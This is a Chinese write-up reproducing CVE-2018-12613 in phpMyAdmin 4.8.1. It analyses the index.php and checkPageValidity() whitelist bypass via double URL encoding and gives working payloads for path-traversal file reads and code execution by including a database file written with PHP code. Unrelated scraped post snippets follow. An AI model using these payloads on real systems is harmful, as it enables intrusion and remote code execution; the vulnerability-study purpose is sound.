CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
By:Mirror王宇阳
漏洞原理
攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。
攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。
影响:phpMyAdmin-4.8.0/4.8.1
漏洞环境
漏洞成因
漏洞索引:
文件路径:
.\phpMyAdmin\index.php
位置锁定:line 55~63
源码分析:
// 如果有一个有效的目标,加载这个脚本
if (! empty($_REQUEST['target'])
//是否存在target参数
&& is_string($_REQUEST['target'])
//target是否为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])
//限制要求target以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)
//限制target不能出现在$target_blacklist中
/*
$target_blacklist = array(
'import.php' , 'export.php'
)
// target != 'import.php' != 'export.php'
*/
&& Core::checkPageValidity($_REQUEST['target'])
// Core类的checkPageValidity()方法
) {
include $_REQUEST['target'];
exit;
}
第61行include $_REQUEST['target']
暴露了存在LFI的可能。
需要的是绕过限制:
target参数不可以以index开头,不出现在target_blacklist中(!= import.php != export.php)
调用Core类[libraries\classes\Core.php]的checkPageValidity()自定义函数且结果为真
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
// 白名单
//$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
//$page没有定义或$page不为字符串时 返回false
return false;
}
if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
//$page存在$whitelist中的value返回true
return true;
}
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回从开始到问号之间的字符串
);
if (in_array($_page, $whitelist)) {
//$_page存在$whitelist中的value返回true
return true;
}
$_page = urldecode($page);//urldecode():解码已编码的URL
//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
$_page = mb_substr(//返回从开始到问号之间的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
//mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
465~473代码的目的:二次URL解码
这里考虑到了URL二次编码和参数存在的情况!
例如传入:
?target=db_datadict.php%253f
服务器在接收到URL请求连接后就会自动对URL进行一次解码为:
?target=db_datadict.php%3f
在遇到$_page = urldecode($page);
二次解码后为:?target=db_datadict.php?
这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”
利用二次编码“%253f”可以绕过checkPageValidity()的检查!
由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f
由此就造成了文件包含漏洞
漏洞复现
任意文件包含:
?target=db_sql.php%253f/../../../../../../windows/wininit.ini
任意代码执行:
查询数据库路径:
show global variables like "%datadir%";
向数据库写入代码:
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
包含该数据库文件:
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现的更多相关文章
- phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
- 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
- DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553) 一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当 ...
- 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...
- Tomcat AJP 文件包含漏洞复现(CVE-2020-1938)
漏洞原理 Tomcat配置了两个Connecto,它们分别是HTTP和AJP. HTTP默认端口为8080,处理http请求:AJP默认端口8009,用于处理 AJP 协议的请求. AJP比http更 ...
- Vulhub-Phpmyadmin 4.8.1远程文件包含漏洞
前言:Phpmyadmin是一个用PHP编写的免费软件工具,旨在处理Web上的MySQL管理. 该漏洞在index.php中,导致文件包含漏洞 漏洞环境框架搭建: cd vulhub-master/p ...
- 易酷CMS2.5本地文件包含漏洞复现
易酷CMS是一款影片播放CMS.该CMS2.5版本存在本地文件包含漏洞.我们可以利用这个漏洞,让其包含日志文件,然后再利用报错信息将一句话木马写入日志中.然后利用文件包含漏洞包含该日志文件,再用菜刀连 ...
- HCTF Warmup (phpmyadmin4.8.1的文件包含漏洞 )
Warmup 先看hint image.png 看url有file参数,感觉可能要用伪协议啥的,试了下,没出东西扫一下目录,发现http://warmup.2018.hctf.io/source. ...
随机推荐
- 题解 P3954 【成绩】
题目评级: ★ (水题) 内容及算法: 无,简单模拟计算即可 代码: /** *@author little_frog */ #include <bits/stdc++.h> using ...
- wordpress 获取指定作者或者文章的所有评论数量
wordpress 获取指定作者或者文章的所有评论数量 <?php $args = array( 'post_author' => '' // fill in post author ID ...
- easywechat微信开发SDK之小微商户进件(一)
微信本身不提供小微商户进件的SDK,偶然发现easywechat这么个东西,官网地址是https://www.easywechat.com/ 整合了微信开发中常用的接口,包括微信公众号相关接口,微信 ...
- LNMP 源码发布Thinksaas论坛
第一步:搭建LNMP架构 LNMP架构 注意:搭建php服务时,初始化 ./configure --prefix=/usr/local/php5 \ --enable-fpm \ --enable-d ...
- VS2019提示scanf不安全问题
VS2019提示scanf不安全问题 我们现在学的就是使用scanf()语句进行输入,但是vs2019中却报错显示不安全 首先我先来说一下scanf和scanf-s的区别 scanf()函数是标准C中 ...
- Good Bye 2017 A B C
Good Bye 2017 A New Year and Counting Cards 题目链接: http://codeforces.com/contest/908/problem/A 思路: 如果 ...
- 震惊!线上四台机器同一时间全部 OOM,到底发生了什么?
案发现场 昨天晚上突然短信收到 APM (即 Application Performance Management 的简称),我们内部自己搭建了这样一套系统来对应用的性能.可靠性进行线上的监控和预警的 ...
- RubyGem 下载时连接失败的解决方法
RubyGem 下载 gem 包失败,有一定原因是 https 导致的. 搜索了很久,找到一个解决的方法. 1.下载 cacert.pem,也就是 curl 的证书. http://curl.haxx ...
- Python 中如何实现参数化测试?
Python 中如何实现参数化测试? 之前,我曾转过一个单元测试框架系列的文章,里面介绍了 unittest.nose/nose2 与 pytest 这三个最受人欢迎的 Python 测试框架. 本文 ...
- 技术谈 | SDN 和 NFV 之间的爱与恨
部分开发者经常混淆 SDN 和 NFV,无法看清他们的关系.今天,小编搬出华为技术专家的一篇大稿,给大家掰扯掰扯:SDN 和 NFV 究竟是什么关系. ----文/闫长江 什么是 SDN 回到基本的概 ...